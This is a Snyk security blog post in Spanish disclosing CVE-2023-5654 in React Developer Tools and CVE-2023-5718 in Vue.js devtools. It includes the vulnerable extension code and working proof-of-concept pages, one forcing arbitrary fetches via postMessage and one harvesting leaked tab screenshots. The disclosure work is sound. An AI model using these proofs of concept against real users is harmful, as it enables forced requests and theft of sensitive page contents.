Skip to main content

Exploración de vulnerabilidades de seguridad en WebExtension en React Developer Tools y Vue.js devtools

Escrito por
Headshot of Calum Hutton

Calum Hutton

blog feature toolkit

27 de noviembre de 2023

0 minutos de lectura

Los investigadores de seguridad de Snyk realizaron una investigación para comprender mejor los riesgos de WebExtensions, tanto los conocidos (es decir, XSS, inyección de código) como los más específicos de las propias WebExtensions. A partir de nuestra investigación, identificamos y divulgamos algunas vulnerabilidades en dos extensiones de navegador populares: React Developer Tools y Vue.js devtools. En esta publicación exploraremos la tecnología WebExtension y analizaremos las vulnerabilidades identificadas.

Breve historia de WebExtensions

WebExtension es una API para extensiones de navegador que permite a los desarrolladores crear extensiones multiplataforma para Firefox, Chrome y otros navegadores. Chrome la desarrolló originalmente y Firefox la adoptó en 2017, después de retirar la compatibilidad con sus API de extensiones anteriores, XUL y XPCOM. Las API anteriores eran potentes, pero también menos seguras y más difíciles de mantener, lo que motivó al equipo de Firefox a adoptar la compatibilidad con WebExtension.

Esto hace que el ecosistema de WebExtension sea especialmente interesante para la investigación, ya que encontrar una vulnerabilidad en una sola extensión podría afectar a usuarios de distintos navegadores.

Arquitectura de WebExtension

Las WebExtensions se componen de distintos elementos que pueden comunicarse entre sí mediante mensajes. Los distintos elementos de una extensión tienen acceso a diferentes API: aislar las API privilegiadas es una de las formas en que se diseñaron las WebExtensions para que fueran más seguras:

  • Solo las páginas en segundo plano tienen acceso a las API confidenciales, y no pueden acceder directamente al contenido ni al DOM de la página.

  • Los scripts de contenido pueden acceder al contenido de la página, pero tienen acceso limitado a las API. El archivo manifest.json define los componentes y permisos que necesita la extensión, además de otros metadatos. 

Diagrama que muestra manifest.json vinculado a los componentes de una extensión del navegador: página en segundo plano, scripts de contenido, acciones del navegador y de la página, página de opciones y acceso web

Problemas comunes de WebExtension

Las WebExtensions son deliberadamente menos potentes que XUL y XPCOM para mejorar su seguridad: sus API son restrictivas y hay menos formas de poner en riesgo inadvertidamente la integridad de la extensión o del navegador. Sin embargo, las tecnologías que utilizan conllevan riesgos inherentes, como XSS, inyección de código y otros. Nos interesaban más los riesgos específicos de WebExtension, así que centramos nuestra investigación en estas tres áreas:

  1. Mensajes externos sin verificar: si no se verifica quién envía un mensaje externo (desde el navegador u otra extensión), los actores maliciosos podrían realizar acciones no autorizadas dentro de la extensión.

  2. Reenvío de mensajes externos sin verificar: es similar al problema anterior, pero el mensaje externo sin verificar se envía a la página en segundo plano, lo que podría otorgar acceso indirecto a las API privilegiadas.

  3. Acceso no autorizado a las API de captura de páginas: algunas API devuelven capturas de pantalla de pestañas a quien las solicita, en forma de datos codificados en base64. Si un actor malicioso pudiera acceder a estos datos, podría robar información confidencial.

Creación de un conjunto de datos

Como nos interesaba analizar WebExtensions a gran escala, nos centramos en obtener el código fuente de WebExtensions (una combinación de JavaScript, HTML y CSS) del sitio web de complementos de Mozilla. Mediante un script, pudimos descargar las 150 extensiones de Firefox más populares. Los paquetes de extensiones tienen la extensión .xpi, pero en realidad son archivos comprimidos que se pueden descomprimir y embellecer, si es necesario (lo cual ocurría con frecuencia).

Hallazgos

React Developer Tools v4.27.8 (CVE-2023-5654)

Esta extensión React Developer Tools registra un receptor de mensajes mediante window.addEventListener('message', <listener>) en un script de contenido al que puede acceder cualquier página web abierta en el navegador. El código del receptor solicita una URL derivada del mensaje recibido mediante fetch(). La URL no se valida ni se depura antes de realizar la solicitud, por lo que una página web maliciosa puede obtener arbitrariamente URL a través del navegador de la víctima. 

Como el contenido de la respuesta no se devuelve a la página web maliciosa, el impacto de este problema es limitado; es decir, no se pueden obtener recursos confidenciales disponibles únicamente para la víctima. Sin embargo, esto podría usarse para generar clics y, por lo tanto, ingresos para actores maliciosos, o para llevar a cabo un ataque distribuido de denegación de servicio (DDoS) junto con otros navegadores, sin el conocimiento ni el consentimiento de las víctimas.  

Código

El fragmento de código de abajo (abreviado por motivos de brevedad) muestra cómo el receptor de mensajes del script de contenido extrae la URL del mensaje potencialmente manipulado que recibió y, poco después, usa directamente esa URL arbitraria en una llamada a fetch.

window.addEventListener('message', function onMessage({data, source}) {
  if (source !== window || !data) {
    return;
  }
  switch (data.source) {
    ...
    case 'react-devtools-extension':
      if (data.payload?.type === 'fetch-file-with-cache') {
        const url = data.payload.url; // URL from malicious webpage

        ...

        fetch(url, {cache: 'force-cache'}).then( // URL used in fetch
          response => {
            if (response.ok) {
              response
                .text()
                .then(text => resolve(text))
                .catch(error => reject(null));
            } else {
              reject(null);
            }
          },
          error => reject(null),
        );
      }
      break;
    ...

Prueba de concepto

En la aplicación React de prueba de concepto que aparece abajo, se usa la API estándar postMessage() para enviar un mensaje manipulado y activar la instrucción switch anterior al hacer clic en un botón. Observa que el atributo source del mensaje es react-devtools-extension y que el tipo es fetch-file-with-cache.

<!DOCTYPE html>
<html>
<head>
  <script src="https://unpkg.com/react@18/umd/react.development.js" crossorigin></script>
  <script src="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin></script>
  <script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>
</head>
<body>

<div id="mydiv"></div>

<script type="text/babel">
  function Hello() {
    return <h1>Hello World!</h1>;
  }

  const container = document.getElementById('mydiv');
  const root = ReactDOM.createRoot(container);
  root.render(<Hello />)
</script>

<script>
  function sendBrowserMsg() {
    let msg = {
      source: 'react-devtools-extension',
      payload: {
        type: 'fetch-file-with-cache',
        url: 'https://www.imdb.com'
      }
    }
    console.log(`Sending msg from browser: ${JSON.stringify(msg)}`);
    postMessage(msg, "*");
  }
</script>

<form>
  <button type="button" id="submit" onClick="sendBrowserMsg()">Go!</button>
</form>

</body>
</html>

En realidad, es probable que la página web maliciosa envíe mensajes automáticamente a la extensión, sin necesidad de que el usuario interactúe. Esta vulnerabilidad es un ejemplo de mensajes externos sin verificar.

Vue.js devtools v6.5.0 (CVE-2023-5718)

Se descubrió que esta extensión Vue.js devtools filtraba datos de capturas de pantalla a una página web maliciosa mediante la API estándar postMessage(). Al crear una página web maliciosa con un iframe dirigido a un sitio web o recurso confidencial (es decir, un archivo accesible localmente) y registrar un receptor en la página, la extensión enviaba mensajes a ese receptor con los datos de la captura de pantalla del sitio web o recurso confidencial codificados en base64. Este es un ejemplo de acceso no autorizado a las API de captura de páginas. 

Se requería cierta interacción del usuario, ya que los mensajes con los datos de la captura de pantalla solo se enviaban cuando el usuario objetivo pasaba el cursor sobre las barras de la línea de tiempo en la pestaña de línea de tiempo:

Herramientas de desarrollo del navegador que muestran el panel Timeline de Vue Devtools con pistas de eventos del mouse, teclado y componentes, y de rendimiento

Existen algunas medidas de mitigación relacionadas con el sitio confidencial al que puede dirigirse la página web maliciosa: el sitio objetivo debe permitir su inclusión en iframes (es decir, el encabezado de respuesta HTTP X-Frame-Options no debe estar presente o debe permitir explícitamente el sitio objetivo). Sin embargo, se descubrió que otras pestañas con la extensión Vue.js devtools activada también filtraban datos de capturas de pantalla a la página web maliciosa, lo que aumentaba la posibilidad de que se divulgara información confidencial. 

Código

El código de abajo muestra cómo la extensión usa un comodín en la llamada a la función postMessage() (*) para enviar mensajes a los receptores de la página web. Por eso pueden filtrarse datos de capturas de pantalla de otras pestañas. 

const bridge = new Bridge({
  listen (fn) {
    window.addEventListener('message', evt => fn(evt.data))
  },
  send (data) {
    if (process.env.NODE_ENV !== 'production') {
      console.log('%cbackend -> devtools', 'color:#888;', data)
    }
    window.parent.postMessage(data, '*')
  },
})

Prueba de concepto

En la aplicación Vue.js de prueba de concepto que aparece abajo, se usa la API estándar window.addEventListener(‘message’ <listener>) para registrar un receptor en la página web maliciosa. La función setInterval() se usa para simular clics periódicos en la página de prueba de concepto, ya que estos eventos (del mouse, del teclado, etc.) activan las API de captura de páginas para generar datos de capturas de pantalla. La función handleScreenshot() comprueba que cada mensaje entrante tenga los parámetros esperados y convierte los datos de la captura de pantalla entrante, codificados en base64, en una imagen que se inserta en la página de prueba de concepto. En realidad, probablemente los datos en base64 se filtrarían silenciosamente a un atacante malicioso.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>postMessage() PoC</title>
    <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
</head>
<body>
    <div id="app">
        <iframe src="https://www.wikipedia.org" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden;"></iframe>
    </div>
    <script>
        const { createApp, ref } = Vue

        createApp({
            setup() {
                const message = ref('Hello vue!')
                return {
                    message
                }
            }
        }).mount('#app')
    </script>

    <script>
        function dummyClick() {
            console.log('Simulating click on PoC page..')
            document.body.click();
        }

        function listenForMsg() {
            window.addEventListener("message", (msg) => {
                console.log(`Got message in PoC page (window.addEventListener): ${JSON.stringify(msg.data)}, source: ${msg.source.location}`);
                handleScreenshot(msg.data);
            });
            console.log(`Added message listener (window.addEventListener)..`);
        }

        function handleScreenshot(data) {
            if (data.payload && data.payload.length > 0) {
                data.payload.forEach((event) => {
                    if (event.event === 'b:timeline:show-screenshot' && event.payload.screenshot) {
                        console.log(`Got screenshot with id: ${event.payload.screenshot.id}`);
                        let img = new Image();
                        img.src = event.payload.screenshot.image;
                        document.body.append(img);
                    }
                }, null);
            }
        }

        listenForMsg();
        setInterval(dummyClick, 1500);
    </script>
</body>
</html>

Refuerza la seguridad de tus WebExtensions

Ahora que exploramos los posibles riesgos y beneficios de WebExtensions y te mostramos ejemplos concretos de vulnerabilidades en React Developer Tools y Vue.js devtools, puedes empezar a integrar la tecnología WebExtension en tus propias aplicaciones sin sacrificar la seguridad. 

Mantenerse al tanto de los nuevos riesgos es una tarea continua para todos los integrantes de los equipos de desarrollo y seguridad. Por suerte, Snyk está aquí para ayudarte. Nuestra inteligencia de seguridad y nuestras herramientas de seguridad para desarrolladores te ayudan a mantenerte a la vanguardia y a proteger tu aplicación frente a los riesgos de seguridad actuales y futuros. Empieza gratis hoy o agenda una demostración con nuestros expertos en seguridad para obtener más información. 

A los desarrolladores les encanta. Los equipos de seguridad confían en él.

Las herramientas de Snyk, diseñadas primero para desarrolladores, ofrecen seguridad integrada y automatizada que satisface tus necesidades de gobernanza y cumplimiento.

Leer más

blog feature snyk container custom base recommendations
Blog

Presentamos Evo Agentic AppSec: seguridad al ritmo del desarrollo con IA

El desarrollo impulsado por IA supera el ritmo de los flujos de trabajo de seguridad tradicionales. Agentic AppSec de Snyk usa agentes de seguridad para encontrar, corregir y verificar vulnerabilidades de forma continua, mientras las personas definen el estándar.

blog feature ai violet
Blog

VulnBump: ¿Pueden los agentes de IA corregir dependencias vulnerables sin romper la compilación?

VulnBump prueba agentes de IA en 307 actualizaciones reales de dependencias. Una corrección cuenta solo si elimina la vulnerabilidad y mantiene en verde la compilación y las pruebas.

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.